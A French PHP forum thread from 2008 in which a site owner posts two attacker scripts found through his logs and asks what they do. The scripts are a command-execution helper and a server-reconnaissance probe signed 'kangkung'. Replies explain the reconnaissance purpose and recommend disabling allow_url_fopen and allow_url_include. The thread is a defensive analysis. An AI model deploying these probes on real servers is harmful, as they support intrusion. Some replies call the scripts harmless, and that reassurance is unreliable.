Précédent   Forum des professionnels en informatique > PHP > Langage > Fonctions
Fonctions Forum d'entraide sur les fonctions PHP. Avant de poster -> FAQ fonctions et Sources diverses
Partagez cette discussion sur d'autres réseaux sociaux : Viadeo Twitter Google Facebook Digg Delicious MySpace Yahoo
Réponse Proposer ce sujet en actualité
 
Outils de la discussion
Publicité
'
Vieux 10/05/2008, 22h19   #1
Invité de passage
 
Inscription : juin 2003
Messages : 7
Détails du profil
Informations forums :
Inscription : juin 2003
Messages : 7
Points : 4
Points : 4
Par défaut [Système] Que fait ce script.

Bonsoir,
En regargant discretement mes logs de mon site, j'ai trouvé une adresse qui contenait un fichier .txt en fait un script php. Que fait ce script? qans une adresse:
Code :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
 
<?
$dir = @getcwd();
echo "Mic22<br>";
$OS = @PHP_UNAME();
echo "OSTYPE:$OS<br>";
$free = disk_free_space($dir); 
 
if ($free === FALSE) {$free = 0;} 
 
if ($free < 0) {$free = 0;} 
echo "Free:".view_size($free)."<br>"; 
 
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
 
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
 
function view_size($size) 
 
{ 
 
if (!is_numeric($size)) {return FALSE;} 
 
else 
 
{ 
 
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} 
 
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} 
 
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} 
 
else {$size = $size . " B";} 
 
return $size; 
 
}} 
 
exit;
En fait j'avais dèja reperèrer une adresse .ru qui contenait aussi un fichier txt et qui recherchait un mot de passe et essayait de construire un fichier r. Bidon ou non?
Alcys est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 10/05/2008, 22h26   #2
Invité de passage
 
Inscription : juin 2003
Messages : 7
Détails du profil
Informations forums :
Inscription : juin 2003
Messages : 7
Points : 4
Points : 4
Par défaut Voici le fichier r.txt en question

Code :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
function ConvertBytes($number)
{
        $len = strlen($number);
        if($len < 4)
        {
                return sprintf("%d b", $number);
        }
        if($len >= 4 && $len <=6)
        {
                return sprintf("%0.2f Kb", $number/1024);
        }
        if($len >= 7 && $len <=9)
        {
                return sprintf("%0.2f Mb", $number/1024/1024);
        }
 
        return sprintf("%0.2f Gb", $number/1024/1024/1024);
 
}
 
echo "kangkung<br>";
$un = @php_uname();
$up = system(uptime);
$id1 = system(id);
$pwd1 = @getcwd();
$sof1 = getenv("SERVER_SOFTWARE");
$php1 = phpversion();
$name1 = $_SERVER['SERVER_NAME'];
$ip1 = gethostbyname($SERVER_ADDR);
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;
 
 
echo "kangkung was here ..<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "uptime: $up<br>";
echo "id: $id1<br>";
echo "pwd: $pwd1<br>";
echo "php: $php1<br>";
echo "software: $sof1<br>";
echo "server-name: $name1<br>";
echo "server-ip: $ip1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;
Alcys est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 11/05/2008, 12h21   #3
Membre confirmé
 
Homme Edouard Viot
Ingénieur sécurité
Inscription : juillet 2007
Messages : 193
Détails du profil
Informations personnelles :
Nom : Homme Edouard Viot
Âge : 25
Localisation : France, Paris (Île de France)

Informations professionnelles :
Activité : Ingénieur sécurité
Secteur : High Tech - Produits et services télécom et Internet

Informations forums :
Inscription : juillet 2007
Messages : 193
Points : 262
Points : 262
Tout son script cherche juste des infos, et les sorts a la fin avec tous ces echo. Le mec doit s'appeler kangkung, mais en tout cas ce script fait rien de mal a port sortir pas mal d'information sur ton systeme.

Il doit peut etre tester une faille avec ca, et si ca marche, il passe a autre chose de plus serieux.
Elboras est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 11/05/2008, 14h18   #4
Invité de passage
 
Inscription : juin 2003
Messages : 7
Détails du profil
Informations forums :
Inscription : juin 2003
Messages : 7
Points : 4
Points : 4
Merci pour ta réponse. Je ne suis pas du tout calé en php et en sécurité . Mais mon système ou un système semblable serait -il assez "naif" pour donner un mot de passe à une interrogation venue de l'extérieur?
Alcys est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 11/05/2008, 15h23   #5
Expert Confirmé
 
Avatar de Sub0
 
Homme
Inscription : décembre 2002
Messages : 3 468
Détails du profil
Informations personnelles :
Sexe : Homme
Âge : 39

Informations forums :
Inscription : décembre 2002
Messages : 3 468
Points : 3 115
Points : 3 115
Envoyer un message via MSN à Sub0 Envoyer un message via Skype™ à Sub0
Ce script permet selon moi de vérifier entre autre l'espace libre du disque et la version de PHP utilisée. Ça ressemble au genre de fonctionalités utilisées pour préparer l'installation d'un site ou d'utiliser d'autres scripts / librairie, savoir si la config est suffisante pour installer un programme... Je ne suis pas trop calé dans ce domaine, mais je pense qu'il n'y a pas trop de risques niveau sécurité à partir du moment où il s'agit bien d'un serveur distant destiné à ce genre de chose...
Sub0 est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 12/05/2008, 11h27   #6
Membre Expert
 
Homme
Inscription : janvier 2004
Messages : 1 238
Détails du profil
Informations personnelles :
Sexe : Homme
Localisation : France

Informations professionnelles :
Secteur : Finance

Informations forums :
Inscription : janvier 2004
Messages : 1 238
Points : 1 421
Points : 1 421
Tout est presque sans danger, sauf les appels de fonction du genre phpversion() et les fonctions du meme genre qui récuperent les informations sur le systeme (la taille disponible sur le disque par contre on s'en fout ^^)

Quand on cherche a connaitre la version du PHP, c'est parce qu'on espere trouver une vieille (= pas la derniere, meme si ca date de 3h...) version dans laquelle une faille a été corrigée dans une version ulterieure.

A partir de là, le pirate peut tenter d'exploiter la faille car il SAIT que ton systeme est vulnérable tant qu'il n'est pas a jour.

Sinon, il est obligé d'avancer en aveugle... et préfèrera souvent aller sur un autre site moins "chiant" a pirater.

C'est aussi la raison pour laquelle il est déconseillée de laisser une page accessible contenant phpinfo() (en plus du fait que de l'html soit interprété il me semble, permettant la récupération de cookies...)

Bref, pas de phpinfo(), pas d'infos sur le systeme ou tourne le serveur = pirate aveugle.
__________________
PHP :
Regle n°1 : mysql_query(...), mysql_connect(...) et mysq_select_db(...) doivent EN DEBUG etre suivies de or die(mysql_error()); (mais jamais en production)
Regle n°2 : Mieux encore : mysql_query($requete) or die("$requete<br/>".mysql_error());
Regle n°3 : echo '<pre>';var_dump($var);echo '</pre>'; affiche le contenu et le type d'une variable.
Publiez vos textes de fantasy et de science-fiction sur http://www.cercledefaeries.com/concours/
Fladnag est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 13/05/2008, 08h22   #7
Invité de passage
 
Inscription : juin 2003
Messages : 7
Détails du profil
Informations forums :
Inscription : juin 2003
Messages : 7
Points : 4
Points : 4
Merci pour vos réponses rassurantes.
Alcys est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 28/05/2008, 08h59   #8
Membre Expert
 
Homme
Inscription : janvier 2004
Messages : 1 238
Détails du profil
Informations personnelles :
Sexe : Homme
Localisation : France

Informations professionnelles :
Secteur : Finance

Informations forums :
Inscription : janvier 2004
Messages : 1 238
Points : 1 421
Points : 1 421
Pour apporter quelques précisions :

Un site que je visite souvent vient d'être piraté avec le même système (kangkung)
Les fichiers présentés ici sont "sans danger" mais sur le site que je fréquentais, il y en avais un de plus... qui construisait un bot mIRC en perl qui se connecte sur un serveur et donne les infos sur le site "piratable" lorsqu'on tape certaines commandes.
Les failles du sites deviennent donc exploitables par n'importe quel apprenti hacker étant connecté sur le même channel.

Apres discussion avec le webmaster, il semblerait que la faille viennent d'un include avec http://...

Pour éviter ce genre de chose, il est déconseillé d'avoir des include contenant des noms de variables... cependant, dans notre cas, il s'agissait de scripts php récupérés sur le net, donc "pas forcement fiable"
Une solution pour éviter ça sans vérifier tout le code est de positionner les directives
allow_url_fopen
allow_url_include
a FALSE dans le php.ini ou dans un .htaccess

Cela évitera ce genre de failles

http://fr2.php.net/manual/fr/filesys...llow-url-fopen
http://fr2.php.net/manual/fr/filesys...ow-url-include
__________________
PHP :
Regle n°1 : mysql_query(...), mysql_connect(...) et mysq_select_db(...) doivent EN DEBUG etre suivies de or die(mysql_error()); (mais jamais en production)
Regle n°2 : Mieux encore : mysql_query($requete) or die("$requete<br/>".mysql_error());
Regle n°3 : echo '<pre>';var_dump($var);echo '</pre>'; affiche le contenu et le type d'une variable.
Publiez vos textes de fantasy et de science-fiction sur http://www.cercledefaeries.com/concours/
Fladnag est déconnecté   Envoyer un message privé Réponse avec citation 00
Réponse Proposer ce sujet en actualité Cette discussion est résolue.
Outils de la discussion



Fuseau horaire GMT +2. Il est actuellement 16h16.


 
 
 
 
Partenaires

Hébergement Web